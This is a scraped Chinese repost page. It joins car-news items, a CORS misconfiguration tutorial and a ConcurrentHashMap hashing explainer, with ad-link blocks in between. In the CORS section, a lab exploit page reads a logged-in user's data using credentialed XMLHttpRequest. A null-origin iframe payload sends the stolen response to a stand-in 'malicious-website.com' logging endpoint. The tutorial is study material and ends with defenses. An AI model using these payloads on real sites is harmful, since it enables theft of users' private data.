總結:嘉年華的外觀更張揚,車子很靈活,操控也挺不錯的,不過油耗表現不是特別好。雨燕動力響應很好,價格實惠,油耗很低,但是配置一般。pOLO外觀更中庸,口碑也很好,省心耐用。總體來說,它們都挺適合家用的。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※南投搬家公司費用需注意的眉眉角角,別等搬了再說!

※教你寫出一流的銷售文案?

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

新款五菱之光和三折的奧迪該買誰好?

五菱之光V新車發布日前我們從上汽通用五菱官網獲悉,五菱之光V車型正式上市。不過這個V和凱迪拉克並沒有什麼關係,新車共推出3款車型,售價區間為3。38-3。68萬元。動力方面均搭載1。2L自然吸氣,最大功率為82馬力,峰值扭矩116牛·米,與之匹配的是5速手動變速器。

新款捷達,眾泰看到都不想拿出皮尺

就在本月7號,神車中的神車捷達再次發布新款,作為中期改款,外觀和內飾並沒有明顯改動,可能連眾泰看到了,都不屑於拿出自己的皮尺。

(車身尺寸4501*1704*1469,軸距2604mm,)而動力方面除了1.4TSI和1.4LMpI還增加了全新的1.5L MpI發動機,最大功率81Kkw,最大扭矩150牛米,匹配5速手動和6速自動變速箱,配置上稍有提升(中控台換裝了一塊尺寸更大的液晶显示屏,並配備有USB、SD卡以及AUX接口。

此外,新車還換裝了新的三輻式多功能方向盤),根據車型的不同還配備有自動空調、座椅加熱、胎壓監測、車身穩定控制以及全皮座椅等。

老捷達陪了國人二十幾年的情懷不是所有人都懂,但是現在的捷達(老款pOLO平台)每個月還2萬多的銷量,真的只能說這個車比較高級。

途觀L 15號首發 明年1月上市

目前,據最新消息稱,上汽大眾全新途觀L將於今年12月15日首發亮相,並有望於明年1月正式上市。從曝光的圖片來看,新車的前臉基本與海外版途觀保持一致,其延續了最新家族式的設計,車身側面海外版相比則有明顯的加長,後窗的三角窗面積也更大一些。

車身尺寸(長寬高4712/1839/1673mm,)相比海外版Tiguan的車身長度加長了226mm,同時軸距增長了110mm。達到了2791mm,儘管如此車內仍採用五座布局,動力方面,將搭載1.4TSI、1.8TSI、和2.0TSI的高低功率版3款發動機可選,最大功率分別為110kW(150ps)、132kW(179ps)、147kW(200ps)/162kW(220ps),與3款發動機匹配的均是7速DSG雙離合變速箱。

此外1.4TSI版途觀L則將保留手動擋車型。高配車型還將搭載四驅系統,而配置方面還有HUD抬頭显示、自動大燈、全景天窗、一鍵啟動、电子駐車、自動啟停、自動泊車等。這麼拽的配置還加長,到時候你不加價十幾萬我都不好意思提車啊。

五菱之光V新車發布

日前我們從上汽通用五菱官網獲悉,五菱之光V車型正式上市。不過這個V和凱迪拉克並沒有什麼關係,新車共推出3款車型,售價區間為3.38-3.68萬元。

動力方面均搭載1.2L自然吸氣,最大功率為82馬力,峰值扭矩116牛·米,與之匹配的是5速手動變速器。整車(新車的長寬高分別為4051/1575/1780毫米)軸距達到2600毫米。

其中最重要的是一改以往的中置后驅採用前置后驅的布局,除了發動機的噪音和散熱有所改善,新的布局也將令車頭有更長的緩衝區,這以後五菱宏光S的山路傳說估計要換主角的了。

天津港口奧迪事故車三折開賣

近日,據一汽-大眾內部員工爆料稱,公司內部發布了《天津港事件輕微受損進口奧迪車銷售公告》。內部員工只需3折的價格就可購買奧迪車。公告显示,一汽服貿汽車銷售中心將於12月6日至14日銷售一批國四排放進口奧迪車,此批車受2015年8月12日天津港事件輕微影響(在車庫中停放,未受到直接影響)。

車型包括(A1、A4allroad、A5、A7、S5、S6、S7、SQ5、Q5、Q7、TTS、R8)大部分進口車型。價格為市場指導價的3-5折,而且需要全款購車。此外,購車后需在2016年12月15日前落籍上牌,還需封存車籍四年。有網友表示奧迪真黑心,事故車還拿來賣,不過更多的網友則是更關心三折的奧迪哪裡有得賣?我先來一台R8。

奔馳C63被深圳交警認定為改裝車

一直以來深圳的各項交通法規都是走在全國最前線,像安全座椅和後排安全帶的強制性要求等,而深圳的交警更是妙招奇多,特別是治遠光狗的辦法都讓全國人民拍手稱快。

不過他們最近一條微博引起了車友的熱議,內容大致上整治改裝車行動,查獲非法改裝車7輛,最終全部查扣,而從照片和微信聊天記錄中我們可以看到其中有原裝的C63 AMG也被查扣,這TM就尷尬了,國內確實沒有合法改裝,那些非法改裝抓你的,但是連原廠車都不認識,只能對深圳交警說,要不拉你們進個猜車群?

本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※別再煩惱如何寫文案,掌握八大原則!

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※回頭車貨運收費標準

※台中搬家公司費用怎麼算?

CORS跨域漏洞學習

簡介

網站如果存CORS跨域漏洞就會有用戶敏感數據被竊取的風險。
跨域資源共享(CORS)是一種瀏覽器機制,可實現對位於給定域外部的資源的受控訪問。它擴展了同源策略(SOP)並增加了靈活性。但是,如果網站的CORS策略配置和實施不當,它也可能帶來基於跨域的攻擊。CORS並不是針對跨域攻擊(例如跨站點請求偽造(CSRF))的保護措施。

同源策略

這裏我們必須要了解一下同源策略:同源策略是一種限制性的跨域規範,它限制了網站與源域之外的資源進行交互的能力。起源於多年前的策略是針對潛在的惡意跨域交互(例如,一個網站從另一個網站竊取私人數據)而制定的。通常,它允許一個域向其他域發出請求,但不允許訪問響應。源由通信協議,域和端口號組成。
SOP是一個很好的策略,但是隨着Web應用的發展,網站由於自身業務的需求,需要實現一些跨域的功能,能夠讓不同域的頁面之間能夠相互訪問各自頁面的內容。

CORS跨域資源共享請求與響應

簡單請求

跨域資源共享(CORS)規範規定了在Web服務器和瀏覽器之間交換的標頭內容,該標頭內容限制了源域之外的域請求web資源。CORS規範標識了協議頭中Access-Control-Allow-Origin最重要的一組。當網站請求跨域資源時,服務器將返回此標頭,並由瀏覽器添加標頭Origin。
例如下面的來自站點 http://example.com 的網頁應用想要訪問 http://bar.com 的資源:
requests

1  GET /resources/public-data/ HTTP/1.1
2  Host: bar.com
3  User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
4  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5  Accept-Language: en-us,en;q=0.5
6  Accept-Encoding: gzip,deflate
7  Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
8  Connection: keep-alive
9  Referer: http://example.com/examples/access-control/simpleXSInvocation.html
10 Origin: http://example.com

response

11  HTTP/1.1 200 OK
12  Date: Mon, 01 Dec 2020 00:23:53 GMT
13  Server: Apache/2.0.61 
14  Access-Control-Allow-Origin: *
15  Keep-Alive: timeout=2, max=100
16  Connection: Keep-Alive
17  Transfer-Encoding: chunked
18  Content-Type: application/xml

第 1~9 行是請求首部。在第10行的請求頭 Origin 表明該請求來源於 http://example.com。
第 11~18 行是來自於 http://bar.com 的服務端響應。響應中攜帶了響應首部字段 Access-Control-Allow-Origin(第 14 行)。使用 Origin 和 Access-Control-Allow-Origin 就能完成最簡單的訪問控制。本例中,服務端返回的 Access-Control-Allow-Origin: * 表明,該資源可以被任意外域訪問。如果服務端僅允許來自 http://example.com 的訪問,該首部字段的內容如下:
Access-Control-Allow-Origin: http://example.com
如果跨域請求可以包含cookie的話,在服務器響應里應該有這一字段:
Access-Control-Allow-Credentials: true
這樣的話攻擊者就可以利用這個漏洞來竊取已經在這個網站上登錄了的用戶的信息(利用cookie)

漏洞利用

這裏以droabox靶場為例

這個接口會返回已登錄的用戶的信息數據,通過訪問該網頁的響應我們看到這裏可能存在CORS跨域資源共享漏洞

接下來我們就可以建立一個惡意的js代碼

<!-- cors.html -->
<!DOCTYPE html>
<html>
<head>
 <title>cors exp</title>
</head>
<body>
<script type="text/javascript">
function cors() {  
var xhttp = new XMLHttpRequest();  
xhttp.onreadystatechange = function() {    
    if (this.status == 200) {    
    alert(this.responseText);     
    document.getElementById("demo").innerHTML = this.responseText;    
    }  
};  
xhttp.open("GET", "http://192.168.0.101/DoraBox/csrf/userinfo.php");  
xhttp.withCredentials = true;  
xhttp.send();
}
cors();
</script>
</body>
</html>

訪問這個頁面就可以獲取已登錄的用戶的信息

該惡意代碼首先定義一個函數cors,以get形式訪問目標網址,創建XMLHttpRequest對象為xhttp,通過ajax的onreadystatechange判斷請求狀態,如果請求已完成,且相應已就緒,則彈出返迴文本。

漏洞利用技巧

在之前我們了解了一些關於CORS跨域資源共享通信的一些字段含義,
CORS的漏洞主要看當我們發起的請求中帶有Origin頭部字段時,服務器的返回包帶有CORS的相關字段並且允許Origin的域訪問。
一般測試WEB漏洞都會用上BurpSuite,而BurpSuite可以實現幫助我們檢測這個漏洞。
首先是自動在HTTP請求包中加上Origin的頭部字段,打開BurpSuite,選擇Proxy模塊中的Options選項,找到Match and Replace這一欄,勾選Request header 將空替換為Origin:example.com的Enable框。
當我們進行測試時,看服務器響應頭字段里可以關注這幾個點:
最好利用的配置:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
可能存在可利用的配置:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
很好的條件但無法利用:
下面這組配置組合雖然看起來很完美但是CORS機制已經默認自動禁止了這種組合,算是CORS的最後一道防線
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
單一的情況
Access-Control-Allow-Origin:*
總結漏洞的原因:
1:CORS服務端的 Access-Control-Allow-Origin 設置為了 *,並且 Access-Control-Allow-Credentials 設置為false,這樣任何網站都可以獲取該服務端的任何數據了。
2:有一些網站的Access-Control-Allow-Origin他的設置並不是固定的,而是根據用戶跨域請求數據的Origin來定的。這時,不管Access-Control-Allow-Credentials 設置為了 true 還是 false。任何網站都可以發起請求,並讀取對這些請求的響應。意思就是任何一個網站都可以發送跨域請求來獲得CORS服務端上的數據。

其他可能利用漏洞的地方

解析Origin頭時出錯

一些支持從多個來源進行訪問的應用程序通過使用允許的來源白名單來實現。收到CORS請求后,會將提供的來源與白名單進行比較。如果來源出現在白名單中,那麼它會反映在Access-Control-Allow-Origin標題中,以便授予訪問權限。例如,web應用收到一個正常的請求:

GET /data HTTP/1.1
Host: bar.com
...
Origin: https://example.com

web應用根據其允許的來源列表檢查當前請求資源的來源,如果在列表中,則按以下方式反映該來源:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com

但在檢測來源是否存在於白名單時經常可能出現問題,一些網站可能會允許其所有的子域(包括尚未存在未來可能存在的子域)來進行訪問,或者允許其他網站的域以及其子域來訪問請求。這些請求一般都通過通配符或者正則表達式來完成,但是如果這其中出現錯誤可能就會導致給予其他未被授權的域訪問權限。例如:
例如,假設一個應用程序授予對以下列結尾的所有域的訪問權限:
examplecom
攻擊者可能可以通過註冊域來獲得訪問權限:
exeexample.com
或者,假設應用程序授予對所有以example.com開頭的域訪問權限,攻擊者就可以使用該域獲得訪問權限:
example.com.evil-user.net

利用相互受CORS信任的域來進行XSS

假如兩個互相受信任的源,如果其中一個網站存在XSS,攻擊者就可以利用XSS注入一些JavaScript代碼,利用這些代碼對信任其源的另一個網站進行敏感信息的獲取。
如果進行CORS請求時網站響應:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://vulnerable.com
Access-Control-Allow-Credentials: true

就可以利用XSS漏洞在vulnerable.com網站上使用下面的URL來通過檢索API密鑰:
https://vulnerable.com/?xss=<script>cors-stuff-here</script>

白名單中的null值

CORS協議的一個重要安全前提是跨域請求中的Origin頭不能被偽造,這個前提並不是總是成立。Origin頭最早被提出用於防禦CSRF攻擊,它的語法格式在RFC 6564中被定義。RFC 6564規定,如果請求來自隱私敏感上下文時,Origin頭的值應該為null,但是它卻沒有明確界定什麼是隱私敏感上下文。

CORS協議復用了Origin頭,但在CORS標準中同樣缺乏對跨域請求Origin中null明確的定義和限制。有些開發者在網站上配置信任 null,用於與本地file頁面共享數據,如下所示:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
在這種情況下,攻擊者可以使用各種技巧來生成跨域請求,該請求構造的Origin為null值。這將滿足白名單的要求,從而導致跨域訪問。例如,可以使用iframe以下格式的沙盒跨域請求來完成:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

這就意味着任何配置有Access-Control-Allow-Origin: null和Access-Control-Allow-Credentials:true的網站等同於沒有瀏覽器SOP的保護,都可以被其他任意域以這種方式讀取內容。

CORS漏洞的自動化掃描

github上提供了一個關於掃描CORS配置漏洞的腳本
https://github.com/chenjj/CORScanner
CORScanner是一個python工具,旨在發現網站的CORS錯誤配置漏洞。它可以幫助網站管理員和滲透測試人員檢查他們針對的域/ URL是否具有不安全的CORS策略。

但是這個好像不能掃描特定接口的

預防CORS漏洞

CORS漏洞主要是由於配置錯誤而引起的。所以,預防漏洞變成了一個配置問題。下面介紹了一些針對CORS攻擊的有效防禦措施。

  1. 正確配置跨域請求
    如果Web資源包含敏感信息,則應在Access-Control-Allow-Origin標頭中正確指定來源。
  2. 只允許信任的網站
    看起來似乎很明顯,但是Access-Control-Allow-Origin中指定的來源只能是受信任的站點。特別是,使用通配符來表示允許的跨域請求的來源而不進行驗證很容易被利用,應該避免。
  3. 避免將null列入白名單
    避免使用標題Access-Control-Allow-Origin: null。來自內部文檔和沙盒請求的跨域資源調用可以指定null來源。應針對私有和公共服務器的可信來源正確定義CORS頭。
  4. 避免在內部網絡中使用通配符
    避免在內部網絡中使用通配符。當內部瀏覽器可以訪問不受信任的外部域時,僅靠信任網絡配置來保護內部資源是不夠的。
  5. CORS不能替代服務器端安全策略
    CORS定義了瀏覽器的行為,絕不能替代服務器端對敏感數據的保護-攻擊者可以直接從任何可信來源偽造請求。因此,除了正確配置的CORS之外,Web服務器還應繼續對敏感數據應用保護,例如身份驗證和會話管理。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※回頭車貨運收費標準

曹工說JDK源碼(3)–ConcurrentHashMap,Hash算法優化、位運算揭秘

hashcode,有點講究

什麼是好的hashcode,一般來說,一個hashcode,一般用int來表示,32位。

下面兩個hashcode,大家覺得怎麼樣?

0111 1111 1111 1111 1111 1111 1111 1111  ------A
1111 1111 1111 1111 1111 1111 1111 1111  ------B

只有第32位(從右到左)不一樣,好像也沒有所謂的好壞吧?

那,我們再想想,hashcode一般怎麼使用呢?在hashmap中,由數組+鏈表+紅黑樹組成,其中,數組乃重中之重,假設數組長度為2的n次方,(hashmap的數組,強制要求長度為2的n次方),這裏假設為8.

大家又知道,hashcode 對 8 取模,效果等同於 hashcode & (8 – 1)。

那麼,前面的A 和 (8 – 1)相與的結果如何呢?

0111 1111 1111 1111 1111 1111 1111 1111  ------A
0000 0000 0000 0000 0000 0000 0000 0111  ------ 8 -1
    相與
0000 0000 0000 0000 0000 0000 0000 0111  ------ 7

結果為7,也就是,會放進array[7]。

大家再看B的計算過程:

1111 1111 1111 1111 1111 1111 1111 1111  ------B
0000 0000 0000 0000 0000 0000 0000 0111  ------ 8 -1
    相與
0000 0000 0000 0000 0000 0000 0000 0111  ------ 7

雖然B的第32位為1,但是,奈何和我們相與的隊友,7,是個垃圾。

前面的高位,全是0。

ok,你懂了嗎,數組長度太小了,才8,導致前面有29位都是0;你可能覺得一般容量不可能這麼小,那假設容量為2的16次方,容量為65536,這下不是很小了吧,但即使如此,前面的16位也是0.

所以,問題明白了嗎,我們計算出來的hashcode,低位相同,高位不同;但是,因為和我們進行與計算的隊友太過垃圾,導致我們出現了hash衝突。

ok,我們怎麼來解決這個問題呢?

我們能不能把高位也參与計算呢?自然,是可以的。

hashmap中如何優化

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

這裏,其實分了3個步驟:

  1. 計算hashcode,作為操作數1

    h = key.hashCode()
    
  2. 將第一步的hashcode,右移16位,作為操作數2

    h >>> 16
    
  3. 操作數1 和 操作數2 進行異或操作,得到最終的hashcode

還是拿前面的來算,

0111 1111 1111 1111 1111 1111 1111 1111  ------A
0000 0000 0000 0000 0111 1111 1111 1111   ----- A >>> 16
          異或(相同則為0,否則為1)
0111 1111 1111 1111 1000 0000 0000 0000    --- 2147450880  

這裏算出來的結果是 2147450880,再去對 7 進行與運算:

0111 1111 1111 1111 1000 0000 0000 0000    --- 2147450880  
0000 0000 0000 0000 0000 0000 0000 0111  ------ 8 -1
          與運算
0000 0000 0000 0000 0000 0000 0000 0000  ------ 0    

這裏的A,算出來,依然在array[0]。

再拿B來算一下:

1111 1111 1111 1111 1111 1111 1111 1111  ------ B
0000 0000 0000 0000 1111 1111 1111 1111   ----- B >>> 16
          異或(相同則為0,否則為1)
1111 1111 1111 1111 0000 0000 0000 0000    --- -65536
0000 0000 0000 0000 0000 0000 0000 0111  ------ 7   
         與運算
0000 0000 0000 0000 0000 0000 0000 0000  ------- 0    

最終算出來為0,所以,應該放在array[0]。

恩?算出來兩個還是衝突了,我只能說,我挑的数字真的牛逼,是不是該去買彩票啊。。

總的來說,大家可以多試幾組數,下邊提供下源代碼:

public class BinaryTest {
    public static void main(String[] args) {
        int a = 0b00001111111111111111111111111011;
        int b = 0b10001101111111111111110111111011;

        int i = tabAt(32, a);
        System.out.println("index for a:" + i);

        i = tabAt(32, b);
        System.out.println("index for b:" + i);

    }

    static final int tabAt(int  arraySize, int hash) {

        int h = hash;
        int finalHashCode = h ^ (h >>> 16);
        int i = finalHashCode & (arraySize - 1);

        return i;
    }
}

雖然說,我測試了幾個数字,還是有些衝突,但是,你把高16位弄進來參与計算,總比你不弄進來計算要好吧。

大家也可以看看hashmap中,hash方法的註釋:

/**
 * Computes key.hashCode() and spreads (XORs) higher bits of hash
 * to lower.  Because the table uses power-of-two masking, sets of
 * hashes that vary only in bits above the current mask will
 * always collide. (Among known examples are sets of Float keys
 * holding consecutive whole numbers in small tables.)  So we
 * apply a transform that spreads the impact of higher bits
 * downward. There is a tradeoff between speed, utility, and
 * quality of bit-spreading. Because many common sets of hashes
 * are already reasonably distributed (so don't benefit from
 * spreading), and because we use trees to handle large sets of
 * collisions in bins, we just XOR some shifted bits in the
 * cheapest possible way to reduce systematic lossage, as well as
 * to incorporate impact of the highest bits that would otherwise
 * never be used in index calculations because of table bounds.
 */

裏面提到了2點:

So we apply a transform that spreads the impact of higher bits downward.

所以,我們進行了一個轉換,把高位的作用利用起來。

we just XOR some shifted bits in the cheapest possible way to reduce systematic lossage, as well as

to incorporate impact of the highest bits that would otherwise never be used in index calculations because of table bounds.

我們僅僅異或了從高位移動下來的二進制位,用最經濟的方式,削減系統性能損失,同樣,因為數組大小的限制,導致高位在索引計算中一直用不到,我們通過這種轉換將其利用起來。

ConcurrentHashMap如何優化

在concurrentHashMap中,其主要是:

    final V putVal(K key, V value, boolean onlyIfAbsent) {
        if (key == null || value == null) throw new NullPointerException();
        int hash = spread(key.hashCode());

這裏主要是使用spread方法來計算hash值:

    static final int spread(int h) {
        return (h ^ (h >>> 16)) & HASH_BITS;
    }

大家如果要仔細觀察每一步的二進制,可以使用下面的demo:


    static final int spread(int h) {
        	// 1
            String s = Integer.toBinaryString(h);
            System.out.println("h:" + s);
    
        	// 2
            String lower16Bits = Integer.toBinaryString(h >>> 16);
            System.out.println("lower16Bits:" + lower16Bits);
    
        	// 3
            int temp = h ^ (h >>> 16);
            System.out.println("h ^ (h >>> 16):" + Integer.toBinaryString(temp));
    
        	// 4
            int result = (temp) & HASH_BITS;
            System.out.println("final:" + Integer.toBinaryString(result));
    
    
            return result;
        }

這裏和HashMap相比,多了點東西,也就是多出來了:

& HASH_BITS;

這個有什麼用處呢?

因為(h ^ (h >>> 16))計算出來的hashcode,可能是負數。這裏,和 HASH_BITS進行了相與:

static final int HASH_BITS = 0x7fffffff; // usable bits of normal node hash
1111 1111 1111 1111 1111 1111 1111 1111   假設計算出來的hashcode為負數,因為第32位為1
0111 1111 1111 1111 1111 1111 1111 1111       0x7fffffff
    進行相與
0111 ..................................    

​ 這裏,第32位,因為0x7fffffff的第32位,總為0,所以相與后的結果,第32位也總為0 ,所以,這樣的話,hashcode就總是正數了,不會是負數。

concurrentHashMap中,node的hashcode,為啥不能是負數

當hashcode為正數時,表示該哈希桶為正常的鏈表結構。

當hashcode為負數時,有幾種情況:

ForwardingNode

此時,其hash值為:

    static final int MOVED     = -1; // hash for forwarding nodes

當節點為ForwardingNode類型時(表示哈希表在擴容進行中,該哈希桶已經被遷移到了新的臨時hash表,此時,要get的話,需要去臨時hash表查找;要put的話,是不行的,會幫助擴容)

TreeBin

    static final int TREEBIN   = -2; // hash for roots of trees

表示,該哈希桶,已經轉了紅黑樹。

擴容時的位運算

    /**
     * Returns the stamp bits for resizing a table of size n.
     * Must be negative when shifted left by RESIZE_STAMP_SHIFT.
     */
    static final int resizeStamp(int n) {
        return Integer.numberOfLeadingZeros(n) | (1 << (RESIZE_STAMP_BITS - 1));
    }

這裏,假設,n為4,即,hashmap中數組容量為4.

  • 下面這句,求4的二進製表示中,前面有多少個0.

    Integer.numberOfLeadingZeros(n)

    表示為32位后,如下

    0000 0000 0000 0000, 0000 0000 0000 0100

    所以,前面有29個0,即,這裏的結果為29.

  • (1 << (RESIZE_STAMP_BITS – 1)

    這一句呢,其中RESIZE_STAMP_BITS 是個常量,為16. 相當於,把1 向左移動15位。

    二進製為:

    1000 0000 0000 0000   -- 1 << 15
    

最終結果:

0000 0000 0000 0000 0000 0000 0001 1101   -- 29
0000 0000 0000 0000 1000 0000 0000 0000   -- 1 << 15
進行或運算

0000 0000 0000 0000 1000 0000 0001 1101   --  相當於把29的第一位,變成了1,其他都沒變。

所以,最終結果是,

這個數,換算為10進制,為32972,是個正數。

這個數,有啥用呢?

在addCount函數中,當整個哈希表的鍵值對數量,超過sizeCtl時(一般為0.75 * 數組長度),就會觸發擴容。

java.util.concurrent.ConcurrentHashMap#addCount
    
int sc =  sizeCtl;
boolean bSumExteedSizeControl = newBaseCount >= (long) sc;
// 1
if (bContinue) {
    int rs = resizeStamp(n);
    // 2
    if (sc < 0) {
        if ((sc >>> RESIZE_STAMP_SHIFT) != rs || sc == rs + 1 ||
            sc == rs + MAX_RESIZERS || (nt = nextTable) == null ||
            transferIndex <= 0)
            break;
        if (U.compareAndSwapInt(this, SIZECTL, sc, sc + 1))
            transfer(tab, nt);
    }
    // 3
    else if (U.compareAndSwapInt(this, SIZECTL, sc,
                                   (rs << RESIZE_STAMP_SHIFT) + 2))
        transfer(tab, null);
    newBaseCount = sumCount();
} else {
    break;
}
  • 1處,如果擴容條件滿足

  • 2處,如果sc小於0,這個sc是啥,就是前面說的sizeCtl,此時應該是等於:0.75 * 數組長度,不可能為負數

  • 3處,將sc(此時為正數),cas修改為:

    (rs << RESIZE_STAMP_SHIFT) + 2)
    

    這個數有點意思了,rs就是前面我們的resizeStamp得到的結果。

    按照前面的demo,我們拿到的結果為:

    0000 0000 0000 0000 1000 0000 0001 1101   --  相當於把29的第一位,變成了1,其他都沒變。
        
    

    因為

    private static int RESIZE_STAMP_BITS = 16;
    private static final int RESIZE_STAMP_SHIFT = 32 - RESIZE_STAMP_BITS;
    

    所以,RESIZE_STAMP_SHIFT 為16.

    0000 0000 0000 0000 1000 0000 0001 1101   --  相當於把29的第一位,變成了1,其他都沒變。
    1000 0000 0001 1101 0000 0000 0000 0000 ---   左移16位,即   rs << RESIZE_STAMP_SHIFT
    1000 0000 0001 1101 0000 0000 0000 0010    -- (rs << RESIZE_STAMP_SHIFT) + 2)
    

    最終,這個數,第一位是 1,說明了,這個數,肯定是負數。

    大家如果看過其他人寫的資料,也就知道,當sizeCtl為負數時,表示正在擴容。

    所以,這裏

    if (U.compareAndSwapInt(this, SIZECTL, sc,
                                (rs << RESIZE_STAMP_SHIFT) + 2))
    

    這句話就是,如果當前線程成功地,利用cas,將sizeCtl從正數,變成負數,就可以進行擴容。

    擴容時,其他線程怎麼執行

    // 1
    if (bContinue) {
        int rs = resizeStamp(n);
        // 2
        if (sc < 0) {
            // 2.1
            if ((sc >>> RESIZE_STAMP_SHIFT) != rs || sc == rs + 1 ||
                sc == rs + MAX_RESIZERS || (nt = nextTable) == null ||
                transferIndex <= 0)
                break;
            // 2.2
            if (U.compareAndSwapInt(this, SIZECTL, sc, sc + 1))
                transfer(tab, nt);
        }
        // 3
        else if (U.compareAndSwapInt(this, SIZECTL, sc,
                                       (rs << RESIZE_STAMP_SHIFT) + 2))
            transfer(tab, null);
        newBaseCount = sumCount();
    } else {
        break;
    }
    

    此時,因為上面的線程觸發了擴容,sc已經變成了負數了,此時,新的線程進來,會判斷2處。

    2處是滿足的,會進入2.1處判斷,這裏的部分條件看不懂,大概是:擴容已經結束,就不再執行,直接break

    否則,進入2.2處,輔助擴容,同時,把sc變成sc + 1,增加擴容線程數。

總結

時間倉促,如有問題,歡迎指出。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※別再煩惱如何寫文案,掌握八大原則!

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

※網頁設計最專業,超強功能平台可客製化

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※台中搬家遵守搬運三大原則,讓您的家具不再被破壞!